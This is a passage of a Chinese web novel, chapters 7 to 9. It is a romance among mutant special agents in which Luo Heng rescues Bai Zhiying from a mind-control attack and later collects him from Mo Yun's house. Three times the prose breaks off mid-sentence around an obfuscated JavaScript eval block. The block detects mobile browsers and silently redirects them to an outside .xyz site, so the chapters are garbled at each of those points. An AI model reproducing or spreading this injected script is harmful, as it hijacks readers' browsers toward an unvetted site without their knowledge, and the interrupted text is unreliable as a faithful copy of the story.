邵意不好意思地笑了笑,“哦”了声,发现柏之萤好像并没有他表现出来那么没心眼。 骆珩站在柏之萤身后,面无表情地摩挲着柏之萤的下巴。 看柏之萤对他的动作没什么抵抗的意思,邵意又想,难道这两个人是被章衔京棒打鸳鸯? 却不知道,此时的骆珩只是在想,老公是什么东西? 柏之萤跟章衔京,也就领了张结婚证,办了个婚礼,除此之外还有什么? 被邵意打了个岔,刚才就感觉有点不对的司机张展轩道:“骆队,明天还没到地方吧,我们提前下船?” 骆珩道:“明早在圣约翰码头停靠,是个离新港很近的渔村,这几年刚开发成旅游景点,你们应该没去过,让墨云带你们玩玩,他家就在这,很熟悉。” 要人组小队的时候,骆珩只提了一个要求,说要锡城本地人。 锡城特勤科的主任没明白什么原因,但是照办了。 墨云接话道:“咱们这行工作特殊,大家大多是从学生时代就这么过来的,护照都在领导手里捏着,非必要原因不得外出,骆队给大家争取了一次观光的机会。” 他脸上是很适当的笑容,叫人觉 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至于章衔京的人为什么一点消息都没得到,还在大张旗鼓地找,还惊动了警察……可能有他们的原因吧。 话说到这里,被锡城特勤科派来给骆珩打下手的几个人彻底明白了。 他这哪是要找章衔京,他就是为了光明正大把柏之萤带出锡城。 几个紧张了一周的人乍然间没了任务,心里空落落的,但绝不是失望。 谁爱上班啊。 再想想明天去海滨小镇带薪旅游,心情更加愉悦起来,觉得还想再给这个费劲心思挖他们锡城老大墙角的人当一百次挡箭牌。 安排完锡城四人组,墨云又问骆珩:“阿萤怎么办?我带他去我家吧,刚好……” “嗯,我带他有危险,他也想你了,你带着吧。”骆珩道。 骆珩后天有件小事要办,柏之萤留在船上等他,墨云倒是不担心,毕竟到了新港境内,没人敢在这艘涂着“Loue’s”的船上造次,只是这个小鬼娇气得很,这不就听骆珩说,他最近不舒服么。 看着也比上次见面的时候瘦了,还是带回家比较好。 墨云点点头,看柏之萤也没意见,就嘱咐他:“我们明早六点半就下船,晚上早点睡。” 柏之萤自从听到他被分给墨云就在抿着嘴笑,闻言连连点头:“我现在就睡!” “那走。”骆珩拍拍柏之萤搭在椅背上的手,接着就把他抱起来。 剩下的几个人里,除了墨云之外,脸上的表情都精彩,邵意暂时接受不了墨云给她讲更多的“事实 ”,干脆假装自己瞎了、没看到本该来调查柏之萤的南加特勤科最高领导给柏之萤当人肉平衡车,拉着自己另一个目瞪口呆的同事回房间了。 这一晚,船上的人心思各异,骆珩也不好受,垂眼看着自己怀里那个向墨云保证过要早睡的人,伸手捋了把他的头发,低声问:“还不想睡觉?” 柏之萤慢吞吞地点了点头,百无聊赖地摸他肩膀、手臂、胸前和腹部的肌肉,好一会儿,才没精打采道:“我觉得冷,又觉得热,骆珩,我是不是发烧了?” 骆珩对此很重视,第八次拿起一根水银温度计和一把电子额温枪。 测出来的温度分别是36.5和36.6摄氏度。 柏之萤对他的态度较为满意,所以骆珩没查出什么毛病,他也没打算追究,爬起来想从骆珩怀里下去,骆珩却又把他给抱住了。 “都没力气了,别乱动,还有哪里难受?” 柏之萤苦恼得厉害:“哪里都难受。” 骆珩严肃地“嗯”了声,紧了紧手臂:“那再多抱一会儿。” 7. 第七章 第七章 早上刚五点多,海上的第一缕阳光照入房间,骆珩就完全清醒过来。 昨晚,柏之萤一直睡得不安稳,脸埋在他肩窝,腿搭在他身上,时不时很小声地吭吭唧唧,看起来确实不舒服。 骆珩能做的只是拍拍,后来柏之萤嫌烦,只让骆珩紧紧搂着。 他贴着骆珩蹭,又不得其法,问骆珩会不会那个,骆珩说会,但不,柏之萤两个眼睛气得发红,最后还是又亲了会儿,柏之萤才睡着。 这样算算,怀里的人熟睡的时间加起来不超过三个小时。不过,时间确实差不多了,骆珩打算起来收拾柏之萤的东西。 昨天晚上,柏之萤一直在他身上,没腾出手来。 可这会儿也没能腾出来。 柏之萤不让他走。 骆珩只能把柏之萤背在背上。 也不知道柏之萤像个八爪鱼一样紧紧缠着他的脖子和腰,还能不能睡着,总之也一直没说话,脸蛋睡得很热,贴在骆珩颈侧,像背了团会发热的棉花。 骆珩的动作丝毫不受影响,手脚麻利地收拾好几个箱子。 最后帮柏之萤穿衣服,官凌霄准备的行李,第一次派上用场。 骆珩找出一身成套的黑白横纹宽松衬衣款式的短袖短裤,棉麻质地,轻薄舒适,柏之萤看过后表示没意见,伸着胳膊让骆珩给他穿了。 避免他到了墨云家里被笑话,骆珩把他那些裙子全都收进了自己的箱子。 官凌霄准备的品类很齐全,跟骆珩在自己的登机箱里准备的大差不差,有这些到了墨云家就够用。 虽然最开始是为了儿子的政治前途,不过后来的种种迹象表明,她也是真的一直对柏之萤上心。 把箱子都推到门口,骆珩一条胳膊拐到身后,将柏之萤捞到身前抱着,看他眼睛不睁开,又没力气一样靠在了骆珩的肩上。 骆珩颠了颠他,嘱咐:“一会儿庄庐森来接你们,见了面要有礼貌,人家跟墨云孩子都有了,别总惦记着给自己找妈了,想找也行,但得换个人,放过墨云吧,行吗?” 柏之萤装得还睡着的样子,在骆珩怀里动了动,调整了下姿势,下一秒,骆珩就感觉自己肩膀被咬了一口。 柏之萤不动声色地用了大力气,骆珩赶忙放松肌肉,免得硌得他牙酸。 咬吧咬吧,最好再顺利进化出两个小尖牙,把他咬破皮,再注射点毒液进来,两个人也算骨血相融了。 不是跟章衔京那一张破纸片子结婚证一个档次的。 咬完骆珩,柏之萤要洗漱了。 墨云掐着点来敲门,骆珩在里面回答“马上来”,一边把一个夹了煎蛋的玛芬强行塞进柏之萤的嘴里。 咬了一口,发现味道毒不死人,柏之萤也就不再奋力抗拒了。 他就着骆珩的手低头再吃一口,伸手去开门,被骆珩捞回去,背贴住门板,被迫与俯身靠过来的骆珩面对面。 “走了以后想不想我?” 柏之萤的眼睫毛在晨光的照耀下显得毛绒绒的,发色也比在正常光线下看稍浅一些,他的眼睛很亮,常常是看起来湿润的状态,显得很无辜,但脸型和五官都不可谓不漂亮,让人想靠近,又怕吓到他。 柏之萤鼓着脸嚼了好一会玛芬,咽干净了,才说:“你什么时候来接我。” 昨晚问了骆珩,被别人岔开话题,骆珩没回答他。 骆珩说:“我尽快,最多三天。” “三天。”柏之萤重复了一遍,告诉他,“不想。” 骆珩简直想给他跪下,但还稳着表情,靠得更近,闻到柏之萤身上的香气,源源不断地飘进他鼻腔喉管,询问柏之萤:“那我走几天你能想我?” 柏之萤眨巴着眼睛看他,骆珩又问了遍。 对他们这些人来说,门板跟纸片差不多,门里门外说什么,听得一清二楚。 墨云和锡城特勤科的四个人取好了行李,就等在门口。门外的墨云顾及自己老大的面子,只好硬着头皮再敲了敲门:“老大,阿萤该下船了。” 骆珩又凑近了些,捏着柏之萤的下巴,咬住柏之萤的嘴唇,很用力地亲了半分钟。 骆珩带着柏之萤出现以后,大家都不约而同地移开目光,欣赏起了今天的朝阳。 柏之萤被亲的嘴巴有些火辣辣,红得不像话,躲到墨云身后,顺理成章地玛芬也不用吃了。 墨云摸了把他头发,让他先跟邵意前面走。 “我问过二院的熟人,祁既白的派遣单上写着任务周期是十天,估计挺麻烦,你确定不要支援。”墨云问骆珩。 “不用。”骆珩跟祁既白沟通过,“我带两支枪过去。” “你们心里有数就好。”墨云的眉目间有些担忧,“异变期要持续多久,对阿萤还有什么影响,这些都是未知数,二十多年后才开始觉醒的融合体我们从来没见过,老大,尽快带祁既白回来。” 前两天,祁既白问他,柏之萤的思维有没有受影响,他还说没有。 现在看,柏之萤一直以来都像个孩子。 没心没肺的,只知道跟着本能行动。 骆珩不同意跟他“那个”,被他追问出其中一个原因后,马上信誓旦旦对骆珩保证,他过段时间就会与章衔京离婚。 骆珩没法说,几年前,柏之萤像是马上与他情投意合,转头,章衔京便登报宣布婚讯。 据章衔京说,婚是柏之萤求的。 婚姻大事被他弄得像是儿戏。 不过,骆珩知道,柏之萤和章衔京的婚姻,确实也就那么回事儿吧。 狗都看得出来柏之萤烦章衔京。 骆珩没在乎过,反正这婚早晚会离。 就是柏之萤暂时还没说是什么时候 昨天下午跟柏之萤聊了几个小时天的墨云也感觉到些异常,但具体是怎样的异常,又说不出来。 墨云猜测,这可能还是异变期刚开始的缘故。 骆珩跟墨云说着话,眼睛一直看着跟在邵意身边走远,一眼都没回头看的柏之萤,隐约觉得哪里不对,眉头慢慢皱起来。 他快走几步,墨云紧随其后,追上前面的几个人,刚伸手去搭柏之萤的肩膀,被突然站定的柏之萤回身一把推开。 墨云猝不及防,闪了好大一个趔趄。 柏之萤直愣愣地目视前方,两眼无神,神情好似牵线木偶,大喊:“我不要下船!我要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031671|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找我老公!” 话音未落,骆珩伸手在他额头上探了一下,将他稳稳送进墨云怀里,飞起一脚,将站在甲板尽头阴影处的刺青男踹飞。 这人名叫徐迁,一身刺青,浑身的腱子肉,身高直逼两米,照体型来说,存在感本应极强,但从在锡城集合起,在团队里便最沉默。 邵意看上去是团队里的发言人,但骆珩早就看出,那些不大不小的试探,全是这人的主意。 他的刺身是曼陀罗图样,觉醒异能应该是精神控制。 柏之萤原本便是手无缚鸡之力的一个人,现在又处在不清不楚的异变期,能维持到近段时间的恍惚只有亲近的人能察觉的到的程度,已经很不容易,精神脆弱程度可想而知。 骆珩能想象得到,徐迁原本没打算把柏之萤控制成这幅完全人机的模样,应该只用了一星半点的功夫,但他还是想错了柏之萤的承受能力,也正正好踩在骆珩最无法容忍的点上。 徐迁被一脚踹飞出去,后背还没挨到水面,已经被追下去的骆珩拎着领口又再飞身上岸。 几次冲击叠加,将他狠狠掼倒在地,骆珩的拳头随即也到,一时间接连几声“砰砰砰”的闷响,尘土飞扬。 眼见自己的领导成了骆珩的人肉沙包,猛犸融合体严小雪只能加入战斗,就成了骆珩的第二个沙包。 邵意和张展轩迅速看清局势,知道再扑上去也无济于事,最多起到让骆珩趁乱多踹徐迁几脚的作用,一左一右央求墨云:“再打下去,真要出人命了。” “我们是骆队带出来的,任务的角都没摸着,先被骆队给打坏了,最后麻烦的,还是文书官您这边……” 墨云温柔笑道:“你们是怎么想到对柏之萤下手的?真是天才。” 邵意讷讷道:“对其他人我们也没那个本事啊……” 墨云点了点头:“思路正确,结果全错。你们今天要是拿枪指着骆珩的头,逼他先找章衔京,或者逼他说出是否清楚章衔京的下落,再或者逼他交出柏之萤跟你们回去,徐迁真能不挨这顿揍。” 见墨云无动于衷,张展轩无奈望天:“按理说,南加总部的领导不会犯这种错误,难道章衔京失踪真是自导自演?” 不远处的岸上,骆珩完全没用任何异能,等尘土散去,体格相近的徐迁和严小雪上下级两人背靠背蜷缩在地,这回,神志不清的换成了他们俩。 柏之萤还没从被精神控制的状态完全恢复,骆珩把他托到墨云的背上,送他们上了庄庐森的车。 锡城特勤科四人痛失观光机会,上了庄庐森安排来的第二辆车。 骆珩的胳膊支在车窗上,另一只手伸进车窗,理了下柏之萤的领口:“阿萤乖乖,少跟庄叔叔顶嘴,别跟墨鱼仔打架,少跟人家全家抢墨云,等我回来接你去南加,嗯……没事就多想想我,想我就要接电话,接……” 他说一句,柏之萤“嗯”一声,前所未有的听话,骆珩根本停不下来。 墨云坐在副驾驶,回过身满脸含笑地看着他们俩,仿佛注释最合乎自己心意的一对CP。 庄庐森忍不下去,心烦道:“快滚吧,骆珩,祁既白真没说错,你早晚被章衔京剁碎了拿去填海。” 8. 第八章 第八章 得知自家柏之萤被骆珩在南加附近的小渔村转手,官凌霄的电话很快就打到墨云这里。 “您好官校长……是的是的,阿萤今早跟我回家了……” “是的……没有,他挺好的……” “不是的,没吵架,老大没凶他,没骂……没有没有,没人打他,是我们老大临时有点事,就拜托我和庐森带他两天。后面结束了,会好好送阿萤回锡城的。” “对的……对的……那这样老大就把情况都跟您说过了,目前看确实是这样,就等……” “嗯嗯,没问题……这样啊,可能是他手机没电了忘了充,他在楼上跟我家小孩在一起呢,您要他听电话吗?” 柏之萤怀里抱着三个墨鱼仔,跟他们在楼梯口玩,能很清楚地听到墨云打电话。 见墨云举着手机上楼,他把一个墨鱼仔放在自己头顶,腾出只手,去接电话。 官凌霄第一句话说:“阿萤,手机没电要充的呀。” 柏之萤点点头,说好的妈妈,墨鱼仔差点掉下去,吓得用触手牢牢扒住他的头。 柏之萤的一只眼睛也被触手挡住了,不再继续下楼,在台阶上坐下来。 他点开免提,把手机放在身侧,然后从墨鱼仔的触手中解救了自己的头发。 “既然他们确认衔京没事,那你是不是能回来了?明天妈派人去接你好不好?” “骆珩说,让我在这等他回来。”柏之萤说。 柏之萤有点不想跟墨鱼仔玩了。 但墨鱼仔刚熟悉他的味道,正是想交朋友的时候,被推远又爬回来。 触手底下的吸盘扒在柏之萤的手臂和小腿上,冰凉而黏腻的触感,柏之萤再不辞辛劳地一个个扯开。 “他说。”柏之萤把堵住手机听筒的触手也扯开,“要带我去南加做检查。” “不能等几天让衔京陪你去么?” “章衔京嘴里一句真话都没有。”柏之萤道,“我不会再相信他了。” 柏之萤补充:“一段时间内。” 官凌霄叹了口气:“我听特勤科的人说,骆珩把跟去的几个人打住院了,又是怎么回事?” “邵意和严小雪陷害我穿裙子,想看我真傻假傻,假发闷着我脖子红了好大一片,今天都在擦药。” 说到这个,柏之萤就不困了。 “张展轩开车故意急刹车,试验骆珩对我的态度,差点把我从挡风玻璃甩出去。那个徐迁最过分,竟然用异能精神控制我,今天早上刚到墨云家时,我还没好,跟着庄庐森说了好几遍柏之萤是猪,还被他拿手机录下来,到现在都没删,真是气死我了。” 官凌霄赶忙道:“你待得不开心,还是回家来吧,妈去接你,你不放心衔京,妈陪你去南加检查也一样,你觉得哪里不舒服,我们全都好好检查一遍。” 柏之萤被十多条触手搞得分身乏术,干脆弯腰把脸埋进双臂,护住手机。 “那倒也不算不开心,庄庐森欺负我算什么本事,等骆珩回来,他不删也得删。” 官凌霄不知道,柏之萤平常那么难讨好的一个人,什么时候对骆珩说的话这么往心里去了。 她年纪大了,野心随之逐渐减弱,促成章衔京领养第一例实验体、成为锡城议会风头无两的议员后,她便卸任南加军事学院校长。 接着,她在锡城的选举委员会做了十多年的主席,也随着章衔京在锡城市长的位子上激流勇退、到了监察局而告终。 这几年,官凌霄更是几乎两耳不闻窗外事,最大的任务,就是保养身体。 只希望家里人健康平安就好。 她回想旧事,柏之萤是她从当年最可能进入南加众议院的骆珩手里抢来的,但也很确定,只依稀听章衔京主动提过一两次骆珩。 一次是很多年前,好像柏之萤想去某地研学游览,恰好在骆珩的驻地内。 那是对联盟战备来说很了不得的地方,方圆一百公里,从没计划过飞机的航线。 官凌霄记得,章衔京为此费了不少功夫。 他本人给南加的军部打过几次电话的同时,嘱咐官凌霄以选举委员会主席的名义跟对面拉拉关系。 跟军部的人吃过两顿饭,最后还亲自给骆珩去电。 柏之萤这才得以成行。 另外一次,就是今年年初。 章衔京在墨云的婚礼上与骆珩起了冲突。 不过,这件事不是章衔京说的。 他跟骆珩的身份都不普通,在公众场合发生了这种事,即便当时婚礼已经结束,基本算是宾主尽欢,但只要现场还有人,就不可能不被传播。 章衔京从小到大循规蹈矩到近乎死板的地步,谁来评价,都想用上“不近人情”四个字。 明明是那个融合病毒肆虐的年代里不多见的普通人,却像将方程式写入了基因序列。 问题--答案。 柏之萤出现之前的那些年里,章衔京都快要令人怀疑是从异星球来的类人生物。是没有感情的机器。 仿生人都比他有人味许多。 对别人有多高的要求,对自己只会百倍苛刻。 哪里出现过肢体互殴这样的甩开体面的举动。 不过,官凌霄一向没什么“慈母”心肠。 她和章衔京的性格使然,她与章衔京的相处方式,比起母子,更像合作伙伴。 多年以来,这艘稳速前进的大船,不知何时,掌舵人由她变成了章衔京,而她做些辅助工作,竟比以前主导更为放心。 她从不认为章衔京真会做什么离经叛道的事。 她没跟章衔京住在一起,也没兴趣对儿子生活中的桩桩件件了如指掌。 关心柏之萤是否好好吃饭,比总是面无表情的章衔京有意思多了。 章衔京都这么大人了,既然他决定脱下西装,挽起衬衣袖口跟骆珩用拳头说话,那一定有他的理由。 打就打了。 官凌霄甚至还带着一些好笑的心情想过,能把章衔京惹毛到那种程度,骆珩也算有本事。 只是不知道到底因为什么。 柏之萤听着官凌霄在电话里对他科普骆珩的可怕,说这场针对恐怕还是冲着章衔京来的,叫他别傻乎乎的,被人卖了还替人数钱。 又说,不管章衔京现在在计划什么,在他回来之前,柏之萤一定要保护好自己。 柏之萤连连点头,心想骆珩有时也很笨。 不过,他不喜欢在背后说人坏话,所以也就没讲出口。 打完电话,墨云家开饭了。 令柏之萤笑不出来的庄庐森从厨房走出来,一副主人做派,张开手大爷似的等着墨云帮他脱围裙。 柏之萤哼了一声。 庄庐森像没看到柏之萤摆的生气脸一样,还嬉皮笑脸地仰头喊坐在楼梯口的柏之萤:“小猪,吃饭。我跟你说,在我家,绝不可能有人犯厌食症,你以前就没少吃,快来尝尝叔叔最近又大进步的手艺。” 柏之萤对墨云道:“庄庐森叫我猪我是绝不可能吃他做的饭的。” 墨云拍了庄庐森一下,庄庐森改口:“好好好,小萤,吃饭了。” 柏之萤起身,脚和腿上缠着七八根触手,一瘸一拐地下了楼。 庄庐森把他的崽收进怀里,一边说“这么喜欢哥哥啊,那让哥哥多在我们家待几天”,一边把它们放进餐桌旁准备着的婴儿摇床里。 失去了新鲜又好闻的、想要好好和感受记住的味道,崽子们的触手慢慢收回,只留下四肢。 片刻后,重新变成了人类婴儿的模样。 三个挤成一团,吃手的吃手,吃脚的吃脚,忙得不亦乐乎。 柏之萤客观评价,确实可爱。 值得墨云失去事业心,接连在家休假半年多。 评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031672|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价完,柏之萤去了一楼的客用洗手间,狼狈地擦着身上脸上头发上颜色还算浅淡的墨汁。 这三个崽还小,等他们再长大一些,墨汁只会越来越浓。 墨云家的卫生该多难打扫啊。 要是那时候墨云听他的,跟章衔京结婚,章衔京没有融合过其他任何生物的基因,两个人生出来的孩子,就不可能异变得这么彻底。 墨云的日子该好过多了。 哎。 他空有一腔计谋,可惜墨云不肯赏识。 睡到半夜,柏之萤被甩到自己鼻子上牢牢吸住的触手搞得差点窒息,从梦中惊醒,吓出一头的冷汗。 他条件反射地坐起来,用力拽开趴在自己脸上的崽子,低头与其对视。 墨云那三个孩子长得一模一样,反正柏之萤是区分不出来,这也不知道是哪一个,身体还是人类婴儿的模样,只有一只手为了骚扰柏之萤而变成了触手。 见柏之萤醒来,冲柏之萤露出一个致命可爱的笑容,两只眼睛又大又圆,长睫毛跟洋娃娃同款,与此同时,还发出一声令人心脏化成温水的婴语。 “啊呜。” 柏之萤看一眼自己的卧室门,还好好地关着,就知道他肯定是先变成鱼状钻进来,然后再变回婴儿状,以引起他的怜爱,就顿感头痛。 看来已经牢牢记住下午柏之萤夸过他们这个状态可爱的话。 锡城是内陆城市,不像南加和新港都临海,他的研究所里有关海洋生物融合体的研究也不多,只是听说过章鱼的智商很高,现在看来,墨鱼也不遑多让。 触手缠上柏之萤的手背,柏之萤的眼角余光发现,他门缝里又伸进来一条触手。 手里的婴儿边吐泡泡边把他萌得无法松手。 在第三个崽子从门缝往里钻的时候,柏之萤脑子里只有一个疑问:墨云当初为什么不肯和章衔京结婚???? 骆珩跟祁既白到墨云家,是在两天后。 这两天柏之萤的手机一直是没电关机的状态,骆珩提前跟墨云联系过,但进门后,上午十点钟,整个一楼连同前院后院都没人。 往里走几步,楼上倒是有些动静。 任务时间被压缩到极限,加上一路风雨兼程,祁既白自感体力即将耗尽,先去厨房冰箱里找喝的。 骆珩环视四周,没看到柏之萤,便抬脚上楼。 走到楼梯口,刚转身,就看到墨云和庄庐森,蹲在一间房的门口,拽着他们的三个崽往外扯。 骆珩走近,墨云一边拽一边抬头解释:“我家崽把阿萤缠哭了,躲在里面不肯出来。” “怎么回事?” “其实我也不是很清楚。”墨云边笑边说,“昨天下午,庐森还带他们去看过医生,医生说孩子正常,这个时期的墨鱼喜欢玩伴,但他们确实太热情,我看了都抱歉。” 庄庐森推了推眼镜,苦笑:“我也抱歉,我家孩子年纪小,没见识,从出生就没有哥哥,这不,见了一个就得了失心疯,真的很抱歉。” 骆珩没空听他瞎扯,伸手去开门,听见里面的柏之萤大喊:“庄庐森趁人之危拍我说自己是猪的视频,你先让他删掉!” 多大人了,逗柏之萤干什么。 骆珩眉头微皱,低头看向庄庐森。 他正要开口,从他身后上来的祁既白捏着一罐气泡水,幸灾乐祸地笑道:“哎呦,真是无巧不成书,你们俩天生一对。骆长官夸下海口,要两把枪帮我们解决银鱼岛异变动乱,倒确实是有两把刷子,结果临到结束,手里提的箱子被一头没死透的野猪窜起来拱破,你们猜怎么着?里头掉出来一大堆花花绿绿的裙子!” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!笑死我了,现在整个海域的非法融合体都在传南加特勤科那个杀人不眨眼的骆珩私底下是个异装癖,我们医院同事都把吃瓜群里发的照片截图发我了,问我在不在现场,是不是真的。” 9. 第九章 第九章 骆珩拿着庄庐森交出来的手机,调低音量,低着头单手插兜,把柏之萤说了五遍柏之萤是猪的视频看了三遍,将视频发到自己手机上,从庄庐森的相册和回收站都删掉,骂了庄庐森一句素质太低、以后好自为之,打开了柏之萤的门。 柏之萤坐在人家的衣柜顶上。 墨云说夸张了,他哭倒是没哭,但确实满脸苦相。 以往谁让他难受成这样,早跑了。 骆珩在衣柜前站定,仰着头看他,眼里透着笑意:“被欺负成这样都没走?” 柏之萤生气道:“我答应了要在墨云家等你回来啊。” “这样。”骆珩笑了两声,才说,“阿萤乖乖。” 听到这句“阿萤乖乖”,柏之萤想起来,骆珩也在码头耍过自己,一时间眼神变得冰冷:“你是这个家里我第二个讨厌的人。” 庄庐森肯定算一个,怎么那三个墨鱼仔不计在内? 就因为长得可爱? 柏之萤可真是够双标的。 骆珩原地蹦了一下,手抓到衣柜顶上,轻松一跃,就跟柏之萤排排坐了。 三个墨鱼仔感受到不好惹的气息,乖乖回到监护人的怀抱,也不再争着抢着要往柏之萤的房间钻。 祁既白在门外喊了一声:“你搞快点,一会儿我吃完饭回南加,还赶得上医院下班。” 随即也跟着墨云和庄庐森下了楼。 他快饿疯了,见了满是粘液的异变体都觉得眉清目秀,亟待进食。 柏之萤一靠到骆珩,心里的恨意便减了一些。 晚上没有骆珩抱着他,睡得一点都不舒服。 最近感觉他是越来越离不开骆珩了。 骆珩拿拇指蹭了下他的眼角残留的一点墨汁,只在心里笑,脸上很正经地征询柏之萤的意见:“先下去?” 有些事确实在床上做比较方便。 柏之萤马上同意了。 骆珩圈着他的腰,跳回地面。当即被柏之萤拉到床上。 柏之萤趴在骆珩大腿上,感觉到骆珩拨了拨他戳着后颈的头发,手指碰他皮肤的动作放得很轻。 他很关心柏之萤被假发捂出来的疹子。 前几天在船上,一天要看好几遍。 “还红么?”柏之萤问。 “红。”骆珩说,“你感觉怎么样,还痒不痒、痛不痛?” 不痛了,有点痒,又没那么痒。 痱子粉的味道熏得柏之萤老想打喷嚏,这两天是墨云帮他擦的。 柏之萤道:“明天不擦了吧,我闻着自己感觉跟墨云家那三个崽一样。” 骆珩“嗯”了声,拿痱子粉盒里自带的粉扑在他肩颈一片都拍拍。 拍完了,柏之萤怕蹭掉,不能翻身枕在骆珩腿上,便跪坐起来。 膝盖抵着骆珩大腿,塌着腰把下巴支在骆珩的肩上。 骆珩两秒钟没拦着他,就被他把手伸进了短袖里面,在骆珩腰腹一块来回摸,间或捏一捏。 “骆珩,你这两天吃东西能尝出味道么?” “可以。” “嗯……”柏之萤酝酿了一下。 骆珩稍偏过头,柏之萤的脸离得他很近,说话呼吸都有一股柏之萤特有的香味萦绕在他鼻尖。 柏之萤两只眼睛里的眼神清澈湿润,瞳孔很亮,两片红嘴唇轻抿出一个天真的弧度。 柏之萤冲骆珩眨眨眼,学着他在“3个撩汉技巧,让男朋友时刻想要推翻你”的视频里学的那样,用练习了两天的嗲嗲的声音说:“骆珩哥哥,你想不想亲亲我。” “你都两天没亲我了。”这句视频里没教,是柏之萤自己补充的,用来提醒骆珩应该回答“想亲”,所以没用嗲嗲的声音。 骆珩没说话,只是也把手放在他腰身,眼神很沉地看着他。 不同的是,骆珩的手掌与柏之萤的腰部之间隔着一层衣服。 不过,柏之萤还是清晰地感受到来自骆珩掌心的温度。 他靠在骆珩肩上,小幅度扭了扭身体,催促:“快点。” 骆珩便凑过去,轻轻叼住一块软肉,在唇齿间吞咬。 挺管用的嘛。柏之萤心想。上网真能学到很多东西。 不过,骆珩亲他的动作和力气都跟演示视频里大不一样,柏之萤放在骆珩腹肌上的手就忘了再动,更不记得视频里说的何时转头何时换气、怎么做能让男朋友忍不住更进一步。 他的舌头被骆珩卷着,只知道无意识地抓握了两下手,便垂了下去,攥住骆珩的衣角。 骆珩把他往怀里带了带,另一只手托着他的后脑勺,柏之萤整个人便窝进了骆珩的怀里。 唇齿交缠间,柏之萤发出过几声低低的哼叫,但都很快被骆珩更用力地堵回去。 两个人接吻的这几次,柏之萤慢慢忘记了自己所谓的尊严。 没有嘴亲的这两天,柏之萤在回味和想念中想通了,这是柏之萤不擅长的领域,骆珩只是在教他。 也决定不再因为骆珩擅自增加动作和时长而记恨骆珩。 祁既白给柏之萤抽血的时候,脸上一直带着一个令人迷惑的微笑。 柏之萤一开始没太在乎,可祁既白一直看着他笑,他最后还是关心了一句:“你们出任务的地方很冷?你被风吹面瘫了?” 祁既白的嘴角抽了抽,问骆珩:“他不知道害臊啊?” “他最近精神有点受影响,好像是不知道这个。”骆珩道,“但是我会打人,还挺疼的,如果你再看他的嘴多一秒。” 骆珩把握着的拳头在祁既白眼前晃了晃。 祁既白拿消毒棉签按住柏之萤小臂上的第三个针眼,把试剂盒都装到医疗箱里,很规矩地说:“哪里的话,我只对医学感兴趣,对我朋友当了这么多年小三终于有了性生活跟要把人吃了一样癫狂没兴趣。” 他又拿出一个抽血管,这次针头要扎的地方是柏之萤的锁骨。 骆珩眉头皱得更紧:“还抽?哪里的血不一样么,非得重新扎?” 祁既白了解骆珩对上柏之萤的德性,也不觉得他啰嗦,点点头:“放心,我照最小剂量抽的,没事。” 柏之萤自己倒没什么意见,只在祁既白把针往他锁骨扎的时候偏过脸,靠在骆珩怀里。 祁既白拿上医疗箱先回了南加,说等化验结果出来,骆珩再带柏之萤过去也不晚。 柏之萤也有些舍不得墨云,两个人就住下来。 时间过得很快,等柏之萤再注意到的时候,天竟然已经黑了。 从回到房间以后,柏之萤一直是趴在骆珩身上的状态。 他完全按照自己的心意,将两条胳膊和两条腿全部跟骆珩的叠在一起,脸则贴在骆珩的胸口。 为了转移柏之萤的注意力,骆珩还找出了他的手机,充上电塞进他手里让他玩。 可惜柏之萤没什么兴趣。 又不能当着骆珩的面看柏之萤学习怎么占他便宜的视频。 看了一会儿最新的期刊,电子版看得不舒服,柏之萤又打开实验室的监控,指点了几句他手下的研究员。 几个研究员原本在讨论柏之萤什么时候回来,下一步实验什么时候进行,互相推诿让对方给柏之萤发消息。 柏之萤的声音响起时,几个人马上恭恭敬敬地站起来,骆珩看着,他们仿佛要对着那个监控摄像头拜三拜了。 骆珩无声地笑了一会儿。 柏之萤察觉到他胸口和腹部的抖动,知道他是在笑自己,马上甩手打了他一下。 骆珩被打得更想笑了,抓住柏之萤的手,牵到嘴边亲了一下,问柏之萤:“你平时到底对他们有多差?” “哪有。”柏之萤说,“我以前都没带过研究员,他们刚来一个多月,又有点笨,所以只说过几句话。” 骆珩的手滑下去,捏柏之萤的耳朵:“那人是怎么变成这样的?” 柏之萤歪了下头,在他掌心里蹭了蹭,说:“因为章衔京吧,我在研究狐假虎威也不是一天两天了。” 骆珩的声音低下去,“哦”了一声。 柏之萤觉得有些好笑,主动哄他:“我不是都说了要离婚嘛,你干嘛还吃醋。” 骆珩说:“你知道我吃醋?” “是呀。”柏之萤道。 “那你当初还要跟他结婚?” 柏之萤不说话了,眨眨眼看着骆珩,还是那种无辜的神情。 骆珩有些无奈地轻叹了口气,习惯性地蹭了蹭他的眼角和侧脸,指腹下的触感滑腻,骆珩舍不得离开。 “那时候不喜欢你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031673|178653||http|test|mini|href|location''.split(''|''),0,{})); () 